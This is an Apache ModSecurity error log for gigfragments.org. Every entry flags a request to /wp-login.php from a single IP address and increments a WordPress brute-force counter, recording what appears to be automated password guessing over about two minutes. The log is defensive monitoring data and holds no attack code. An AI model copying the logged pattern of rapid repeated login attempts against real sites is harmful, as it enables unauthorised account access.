[Sat Feb 28 14:15:36.140863 2026] [:error] [pid 11791:tid 11813] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKICGuX5e1Q32gqxH1BDgAAARQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:39.306385 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIC7LWOogAgHGh62Rj3gAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:43.328700 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKID7LWOogAgHGh62Rj6gAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:44.870303 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIELLWOogAgHGh62Rj7gAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:47.689717 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIE7LWOogAgHGh62Rj_AAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:49.045055 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIFbLWOogAgHGh62RkCwAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:52.132559 2026] [:error] [pid 52460:tid 52471] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIGLLWOogAgHGh62RkEQAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:53.473293 2026] [:error] [pid 52460:tid 52487] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIGbLWOogAgHGh62RkGgAAAZg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:56.294269 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIHLLWOogAgHGh62RkIwAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:57.630579 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIHbLWOogAgHGh62RkNQAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:00.817446 2026] [:error] [pid 52460:tid 52473] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIILLWOogAgHGh62RkPgAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:02.283945 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIIrLWOogAgHGh62RkQQAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:05.213924 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIJbLWOogAgHGh62RkRQAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:06.662783 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIJrLWOogAgHGh62RkVQAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:09.826740 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIKbLWOogAgHGh62RkYgAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:11.193428 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIK7LWOogAgHGh62RkcAAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:14.590171 2026] [:error] [pid 52460:tid 52468] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKILrLWOogAgHGh62RkiAAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:16.172598 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIMLLWOogAgHGh62RkkAAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:19.554155 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIM7LWOogAgHGh62RkowAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:20.925820 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKINLLWOogAgHGh62RkpQAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:24.052891 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIOLLWOogAgHGh62RkqgAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:25.533765 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIObLWOogAgHGh62RkqwAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:28.596486 2026] [:error] [pid 52460:tid 52475] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIPLLWOogAgHGh62RkvAAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:30.071669 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIPrLWOogAgHGh62RkwQAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:32.925617 2026] [:error] [pid 52460:tid 52485] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIQLLWOogAgHGh62RkzAAAAZY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:34.262846 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIQrLWOogAgHGh62Rk0QAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:37.173301 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIRbLWOogAgHGh62Rk1gAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:38.660828 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIRrLWOogAgHGh62Rk2wAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:41.596456 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKISbLWOogAgHGh62Rk8wAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:43.030120 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIS7LWOogAgHGh62Rk-wAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:46.038807 2026] [:error] [pid 52460:tid 52475] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKITrLWOogAgHGh62RlAQAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:47.437018 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIT7LWOogAgHGh62RlBgAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:50.818669 2026] [:error] [pid 52460:tid 52467] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIUrLWOogAgHGh62RlDQAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:52.317062 2026] [:error] [pid 52460:tid 52472] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIVLLWOogAgHGh62RlEQAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:55.227192 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIV7LWOogAgHGh62RlIgAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:16:56.652608 2026] [:error] [pid 52460:tid 52474] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIWLLWOogAgHGh62RlKQAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:00.294726 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIXLLWOogAgHGh62RlMAAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:01.971744 2026] [:error] [pid 52460:tid 52469] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIXbLWOogAgHGh62RlNgAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:04.958612 2026] [:error] [pid 52460:tid 52475] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIYLLWOogAgHGh62RlOAAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:06.456212 2026] [:error] [pid 52460:tid 52480] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIYrLWOogAgHGh62RlOQAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:09.735227 2026] [:error] [pid 52460:tid 52471] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIZbLWOogAgHGh62RlOwAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:11.134328 2026] [:error] [pid 52460:tid 52474] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIZ7LWOogAgHGh62RlPAAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:14.577568 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIarLWOogAgHGh62RlQAAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:16.136115 2026] [:error] [pid 52460:tid 52482] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIbLLWOogAgHGh62RlRQAAAZM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:19.659734 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIb7LWOogAgHGh62RlSQAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:21.275699 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIcbLWOogAgHGh62RlTQAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:24.074153 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIdLLWOogAgHGh62RlVgAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:25.409069 2026] [:error] [pid 52460:tid 52476] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIdbLWOogAgHGh62RlXwAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:28.972102 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIeLLWOogAgHGh62RlbQAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:30.826546 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIerLWOogAgHGh62RldAAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:33.619488 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIfbLWOogAgHGh62RlhAAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:35.047358 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIf7LWOogAgHGh62RliQAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:17:37.976508 2026] [:error] [pid 52460:tid 52482] [client 176.65.132.19:64695] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIgbLWOogAgHGh62RlkQAAAZM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
